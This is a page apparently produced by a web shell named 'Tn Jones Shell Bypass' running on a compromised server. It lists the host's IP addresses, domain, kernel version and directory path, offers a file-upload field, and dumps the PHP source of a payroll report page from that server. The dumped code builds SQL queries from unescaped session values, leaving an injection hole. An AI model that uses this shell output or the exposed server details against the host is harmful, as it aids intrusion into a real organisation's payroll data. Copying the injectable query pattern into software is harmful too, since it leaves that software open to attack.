Tn Jones Shell Bypass
:
3.14.250.129
:
160.187.54.56 / upgov.net
:
Linux 160-187-54-56.cprapid.com 4.18.0-553.22.1.lve.1.el7h.x86_64 #1 SMP Tue Oct 8 14:36:03 UTC 2024 x86_64
:
/
home
/
upgov
/
www
/
rmpyrll
/
Upload File:
files >> /home/upgov/www/rmpyrll/all_total_report.php
<?php include("connection.php"); session_start(); if (!isset($_SESSION['user']) || ($_SESSION['password'] == '')) { header("location:../payrolLogin/ramalogin.php"); exit(); } if(isset($_SESSION['user'])) { $username=$_SESSION['user']; } $user_query = mysql_query("SELECT * FROM login where user='$username' ")or die(mysql_error()); $user_row = mysql_fetch_array($user_query); $us = $user_row['user']; ?> <!DOCTYPE html> <html> <head> <title>Payroll</title> <link href="css/bootstrap.css" rel='stylesheet' type='text/css'/> <!-- jQuery (necessary for Bootstrap's JavaScript plugins) --> <script src="js/jquery.min.js"></script> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="keywords" content="Payroll Responsive web template, Bootstrap Web Templates, Flat Web Templates, Andriod Compatible web template, Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyErricsson, Motorola web design" /> <script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script> <link rel="stylesheet" href="css/flexslider.css" type="text/css" media="screen" /> <link href="css/style.css" rel="stylesheet" type="text/css" media="all" /> <!---- start-smoth-scrolling----> <script type="text/javascript" src="../js/move-top.js"></script> <script type="text/javascript" src="../js/easing.js"></script> <script src="js/jquery.easydropdown.js"></script> <script src="js/cbpViewModeSwitch.js" type="text/javascript"></script> <style> th { color: white; text-align: center; vertical-align: center; height:100px; } td { text-align: center; vertical-align: center; height:30px; } .verticalText { vertical-align: middle; width:60px; -webkit-transform: rotate(-90deg); -moz-transform: rotate(-90deg); }; </style> </head> <body> <div class="header"> <div class="container"> <div class="logo"> <a href="index.html"><img src="images/logo.png" alt=""/></a> </div> <div class="top-menu"> <span class="menu"> </span> </div> <div id="sb-search" class="sb-search"> <h4 align="right"><a href="logout.php"><img src="images/logout.jpg"></a></h4> </div> <!-- search-scripts --> <script src="js/classie.js"></script> <script src="js/uisearch.js"></script> <!-- //search-scripts --> </div> </div> <!-- header-section-ends --> <div class="content"> <h4 align="right"><a href="page2.php"><input type="button" name="" value="Back" style="width:120px;height:30px;background-color:#2A5CAA;color:white;margin:10px;"></a> </h4> <h3 align="center" style="color:#2A5CAA;"><b><u>REPORT</u></b></h3> <br><br> <center> <form method="post"> <div class="clearfix"></div> <div class="good-design"> <center> <table width="90%" border="2" align="center" style="position:relative;top:-20px;background-color:#B7CCED;border-color: white;" class="maint"> <tr style="background-color:#2A5CAA;color:#FFFFFF;font-size:14px"> <td> </td> <td> </td> <td> </td> <?php $rowCount=0; $sql1=mysql_query("SELECT m.DB_MonthName, m.Display_Name FROM monthorder m order by m.MonthOrder DESC")or die("Error in qurey"); while($r1 = mysql_fetch_array($sql1)) { $rowCount=$rowCount+1; ?> <td align="center" colspan="4"> <font size="3"><?php echo $r1['Display_Name']; ?></font> </td> <?php } ?> </tr> <tr style="background-color:#2A5CAA;color:#FFFFFF;font-size:14px"> <th rowspan="2" align="center">S no.</th> <th rowspan="2" align="center">District</th> <th rowspan="2" align="center">Department Name</th> <?php $a=0; while($a<$rowCount) { $a=$a+1; ?> <th rowspan="2" align="center"><div class="verticalText">Attendance</div></th> <th rowspan="2" align="center"><div class="verticalText">Bill</div></th> <th colspan="2" align="center"><div class="verticalText">Payment From</div></th> <?php } ?> </tr> <tr style="background-color:#2A5CAA;color:#FFFFFF;font-size:14px"> <?php $a=0; while($a<$rowCount) { $a=$a+1; ?> <th align="center"><div class="verticalText">Dept. to Rama</div></th> <th align="center"><div class="verticalText">Rama to Empl</div></th> <?php } ?> </tr> <?php $sql101=mysql_query("SELECT d.DB_hospital, d.Display_hospital, d.DB_district, d.Display_district FROM disthospitalname d order by DB_district")or die("Error in qurey"); $count1=0; for($i=0;$r101=mysql_fetch_array($sql101);$i++) { $count1=$i+1; $dis101=$r101['DB_district']; $hos101=$r101['DB_hospital']; ?> <tr style="background-color:cream;color:blue;font-size:14px; font-family:'Times New Roman', Times, serif;" > <td align="center"> <font size="3"><?php echo $count1;?></font> </td> <td align="center"> <font size="3"><?php echo $r101['Display_district'];?></font> </td> <td align="center"> <font size="3"><?php echo $r101['Display_hospital'];?></font> </td> <?php $sql102=mysql_query("SELECT m.DB_MonthName, m.Display_Name FROM monthorder m order by m.MonthOrder DESC")or die("Error in qurey"); while($r102 = mysql_fetch_array($sql102)) { $mon102=$r102['DB_MonthName']; $sql103=mysql_query("SELECT distinct * FROM health h where h.district='$dis101' and h.hospital='$hos101' and month='$mon102'")or die("Error in qurey"); if($r103 = mysql_fetch_array($sql103)) { $att=$r103['attandance']; if($att != '') { ?> <td align='center' style='background-color:#73C259;color:white'><font size='3'><a href="<?php echo $r103['attandance'];?>" target="_blank">Y</font></a></td> <?php } else { ?> <td align='center' style='background-color:#E32942;color:white'><font size='3'>N</font></a></td> <?php } ?> <?php $att=$r103['bill']; if($att != '') { ?> <td align='center' style='background-color:#73C259;color:white'><font size='3'><a href="<?php echo $r103['bill'];?>" target="_blank">Y</font></a></td> <?php } else { ?> <td align='center' style='background-color:#E32942;color:white'><font size='3'>N</font></a></td> <?php } ?> <?php $att=$r103['payment']; if($att != '') { ?> <td align='center' style='background-color:#73C259;color:white'><font size='3'><a href="<?php echo $r103['payment'];?>" target="_blank">Y</font></a></td> <?php } else { ?> <td align='center' style='background-color:#E32942;color:white'><font size='3'>N</font></a></td> <?php } $att=$r103['salary']; if($att != '') { ?> <td align='center' style='background-color:#73C259;color:white'><font size='3'><a href="<?php echo $r103['salary'];?>" target="_blank">Y</font></a></td> <?php } else { ?> <td align='center' style='background-color:#E32942;color:white'><font size='3'>N</font></a></td> <?php } }else { ?> <td align='center' style='background-color:#E32942;color:white'><font size='3'>N</font></a></td> <td align='center' style='background-color:#E32942;color:white'><font size='3'>N</font></a></td> <td align='center' style='background-color:#E32942;color:white'><font size='3'>N</font></a></td> <td align='center' style='background-color:#E32942;color:white'><font size='3'>N</font></a></td> <?php }} ?> </tr> <?php } ?> </table> </form> </div> </div> </body> </html>